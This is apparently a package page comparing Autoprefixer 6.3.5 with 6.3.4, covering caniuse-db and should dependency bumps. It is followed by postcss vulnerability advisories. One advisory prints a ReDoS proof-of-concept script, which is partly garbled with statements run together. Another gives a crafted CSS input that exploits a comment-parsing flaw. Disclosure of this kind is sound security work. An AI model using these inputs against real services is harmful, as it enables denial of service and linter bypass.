Autoprefixer version 6.3.5 introduces subtle yet important updates for developers relying on this essential tool to automatically add vendor prefixes to their CSS. Compared to the prior stable version, 6.3.4, the core functionality remains consistent: parsing CSS and applying prefixes based on data from Can I Use. However, the key differences lie in the updated dependencies, primarily the "caniuse-db" package, which jumps from version 1.0.30000435 to 1.0.30000436. This signifies an update to the browser compatibility data, ensuring Autoprefixer remains current with the latest browser implementations and prefix requirements, guaranteeing more accurate and effective prefixing.
Another notable change is the update of the "should" test package, moving from version 8.2.2 to 8.3.0. While this primarily affects development-time testing, it reflects ongoing efforts to improve the robustness and reliability of Autoprefixer itself. Although all other dependency specifications remain identical, the upgrade to the caniuse-db is really important because the database is the actual source of information for the tool.
Developers should upgrade to version 6.3.5 to benefit from the refined browser compatibility data, ensuring their CSS is appropriately prefixed for the widest range of browsers without including unnecessary bloat. The update offers a seamless transition for existing users, with minimal risk of breaking changes, while offering enhanced cross-browser compatibility. Both versions maintain the same MIT license and continue to be authored by Andrey Sitnik, reinforcing the project's commitment to open-source principles and community support.
All the vulnerabilities related to the version 6.3.5 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.